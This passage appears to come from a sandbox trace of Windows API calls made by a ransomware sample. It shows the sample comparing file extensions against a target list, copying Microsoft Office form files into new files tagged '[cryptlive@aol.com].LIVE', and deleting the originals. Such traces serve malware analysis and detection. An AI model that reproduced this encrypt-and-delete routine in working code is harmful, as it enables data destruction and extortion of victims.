Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg")) returned 1 [0160.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.634] lstrlenW (lpString=".doc") returned 4 [0160.634] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.634] lstrlenW (lpString=".docx") returned 5 [0160.634] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0160.634] lstrlenW (lpString=".pdf") returned 4 [0160.634] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.634] lstrlenW (lpString=".xls") returned 4 [0160.634] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.634] lstrlenW (lpString=".xlsx") returned 5 [0160.634] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0160.634] lstrlenW (lpString=".ppt") returned 4 [0160.634] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.634] lstrlenW (lpString=".zip") returned 4 [0160.634] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.634] lstrlenW (lpString=".rar") returned 4 [0160.634] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.634] lstrlenW (lpString=".bz2") returned 4 [0160.634] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.634] lstrlenW (lpString=".7z") returned 3 [0160.634] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.635] lstrlenW (lpString=".dbf") returned 4 [0160.635] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.635] lstrlenW (lpString=".1cd") returned 4 [0160.635] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.635] lstrlenW (lpString=".jpg") returned 4 [0160.635] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.635] lstrlenW (lpString=".doc") returned 4 [0160.635] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.635] lstrlenW (lpString=".docx") returned 5 [0160.635] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0160.635] lstrlenW (lpString=".pdf") returned 4 [0160.635] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.635] lstrlenW (lpString=".xls") returned 4 [0160.635] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.635] lstrlenW (lpString=".xlsx") returned 5 [0160.635] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0160.635] lstrlenW (lpString=".ppt") returned 4 [0160.635] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.635] lstrlenW (lpString=".zip") returned 4 [0160.635] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.635] lstrlenW (lpString=".rar") returned 4 [0160.635] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.635] lstrlenW (lpString=".bz2") returned 4 [0160.635] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.635] lstrlenW (lpString=".7z") returned 3 [0160.635] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.636] lstrlenW (lpString=".dbf") returned 4 [0160.636] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.636] lstrlenW (lpString=".1cd") returned 4 [0160.636] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0160.636] lstrlenW (lpString=".jpg") returned 4 [0160.636] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.636] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0160.636] lstrlenW (lpString="SCHDRESP.CFG") returned 12 [0160.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.769] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=833) returned 1 [0160.769] CloseHandle (hObject=0x1fc) returned 1 [0160.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg")) returned 0x20 [0160.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.849] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.849] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.850] GetLastError () returned 0x0 [0160.850] ReadFile (in: hFile=0x314, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x341, lpOverlapped=0x0) returned 1 [0160.861] WriteFile (in: hFile=0x3c4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x350, lpOverlapped=0x0) returned 1 [0160.863] ReadFile (in: hFile=0x314, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.863] WriteFile (in: hFile=0x3c4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.863] SetEndOfFile (hFile=0x3c4) returned 1 [0160.863] CloseHandle (hObject=0x3c4) returned 1 [0160.863] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.863] SetEndOfFile (hFile=0x314) returned 1 [0160.865] CloseHandle (hObject=0x314) returned 1 [0160.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg")) returned 1 [0160.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.934] lstrlenW (lpString=".doc") returned 4 [0160.934] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.934] lstrlenW (lpString=".docx") returned 5 [0160.934] lstrcmpiW (lpString1=".docx", lpString2="P.CFG") returned -1 [0160.934] lstrlenW (lpString=".pdf") returned 4 [0160.934] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.934] lstrlenW (lpString=".xls") returned 4 [0160.934] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.934] lstrlenW (lpString=".xlsx") returned 5 [0160.934] lstrcmpiW (lpString1=".xlsx", lpString2="P.CFG") returned -1 [0160.934] lstrlenW (lpString=".ppt") returned 4 [0160.934] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.934] lstrlenW (lpString=".zip") returned 4 [0160.934] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.934] lstrlenW (lpString=".rar") returned 4 [0160.934] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.934] lstrlenW (lpString=".bz2") returned 4 [0160.934] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.934] lstrlenW (lpString=".7z") returned 3 [0160.934] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.934] lstrlenW (lpString=".dbf") returned 4 [0160.934] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.934] lstrlenW (lpString=".1cd") returned 4 [0160.934] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.934] lstrlenW (lpString=".jpg") returned 4 [0160.934] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.935] lstrlenW (lpString=".doc") returned 4 [0160.935] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.935] lstrlenW (lpString=".docx") returned 5 [0160.935] lstrcmpiW (lpString1=".docx", lpString2="P.CFG") returned -1 [0160.935] lstrlenW (lpString=".pdf") returned 4 [0160.935] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.935] lstrlenW (lpString=".xls") returned 4 [0160.935] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.935] lstrlenW (lpString=".xlsx") returned 5 [0160.935] lstrcmpiW (lpString1=".xlsx", lpString2="P.CFG") returned -1 [0160.935] lstrlenW (lpString=".ppt") returned 4 [0160.935] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.935] lstrlenW (lpString=".zip") returned 4 [0160.935] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.935] lstrlenW (lpString=".rar") returned 4 [0160.935] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.935] lstrlenW (lpString=".bz2") returned 4 [0160.935] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.935] lstrlenW (lpString=".7z") returned 3 [0160.935] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.935] lstrlenW (lpString=".dbf") returned 4 [0160.935] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.935] lstrlenW (lpString=".1cd") returned 4 [0160.935] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0160.935] lstrlenW (lpString=".jpg") returned 4 [0160.935] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.935] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0160.936] lstrlenW (lpString="SHARING.CFG") returned 11 [0160.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.061] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=771) returned 1 [0161.061] CloseHandle (hObject=0x3c4) returned 1 [0161.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg")) returned 0x20 [0161.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0161.118] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.118] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.119] GetLastError () returned 0x0 [0161.119] ReadFile (in: hFile=0x1b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x303, lpOverlapped=0x0) returned 1 [0161.132] WriteFile (in: hFile=0x1b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x310, lpOverlapped=0x0) returned 1 [0161.133] ReadFile (in: hFile=0x1b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.133] WriteFile (in: hFile=0x1b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0161.133] SetEndOfFile (hFile=0x1b4) returned 1 [0161.134] CloseHandle (hObject=0x1b4) returned 1 [0161.134] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.134] SetEndOfFile (hFile=0x1b8) returned 1 [0161.136] CloseHandle (hObject=0x1b8) returned 1 [0161.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg")) returned 1 [0161.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.229] lstrlenW (lpString=".doc") returned 4 [0161.229] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.229] lstrlenW (lpString=".docx") returned 5 [0161.229] lstrcmpiW (lpString1=".docx", lpString2="G.CFG") returned -1 [0161.229] lstrlenW (lpString=".pdf") returned 4 [0161.229] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.229] lstrlenW (lpString=".xls") returned 4 [0161.229] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.230] lstrlenW (lpString=".xlsx") returned 5 [0161.230] lstrcmpiW (lpString1=".xlsx", lpString2="G.CFG") returned -1 [0161.230] lstrlenW (lpString=".ppt") returned 4 [0161.230] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.230] lstrlenW (lpString=".zip") returned 4 [0161.230] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.230] lstrlenW (lpString=".rar") returned 4 [0161.230] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.230] lstrlenW (lpString=".bz2") returned 4 [0161.230] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.230] lstrlenW (lpString=".7z") returned 3 [0161.230] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.230] lstrlenW (lpString=".dbf") returned 4 [0161.230] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.230] lstrlenW (lpString=".1cd") returned 4 [0161.230] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.230] lstrlenW (lpString=".jpg") returned 4 [0161.230] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.230] lstrlenW (lpString=".doc") returned 4 [0161.230] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.230] lstrlenW (lpString=".docx") returned 5 [0161.231] lstrcmpiW (lpString1=".docx", lpString2="G.CFG") returned -1 [0161.231] lstrlenW (lpString=".pdf") returned 4 [0161.231] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.231] lstrlenW (lpString=".xls") returned 4 [0161.231] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.231] lstrlenW (lpString=".xlsx") returned 5 [0161.231] lstrcmpiW (lpString1=".xlsx", lpString2="G.CFG") returned -1 [0161.231] lstrlenW (lpString=".ppt") returned 4 [0161.231] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.231] lstrlenW (lpString=".zip") returned 4 [0161.231] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.231] lstrlenW (lpString=".rar") returned 4 [0161.231] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.231] lstrlenW (lpString=".bz2") returned 4 [0161.231] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.231] lstrlenW (lpString=".7z") returned 3 [0161.231] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.231] lstrlenW (lpString=".dbf") returned 4 [0161.231] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.231] lstrlenW (lpString=".1cd") returned 4 [0161.231] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0161.231] lstrlenW (lpString=".jpg") returned 4 [0161.231] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.232] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0161.232] lstrlenW (lpString="SMIMES.CFG") returned 10 [0161.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.233] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=668) returned 1 [0161.233] CloseHandle (hObject=0x1b4) returned 1 [0161.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg")) returned 0x20 [0161.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0161.234] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.234] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.235] GetLastError () returned 0x0 [0161.235] ReadFile (in: hFile=0x1b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x29c, lpOverlapped=0x0) returned 1 [0161.238] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0161.245] ReadFile (in: hFile=0x1b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.245] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0161.245] SetEndOfFile (hFile=0x1dc) returned 1 [0161.245] CloseHandle (hObject=0x1dc) returned 1 [0161.245] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.245] SetEndOfFile (hFile=0x1b4) returned 1 [0161.702] CloseHandle (hObject=0x1b4) returned 1 [0161.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg")) returned 1 [0161.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0161.734] lstrlenW (lpString=".doc") returned 4 [0161.734] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.734] lstrlenW (lpString=".docx") returned 5 [0161.734] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0161.734] lstrlenW (lpString=".pdf") returned 4 [0161.734] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 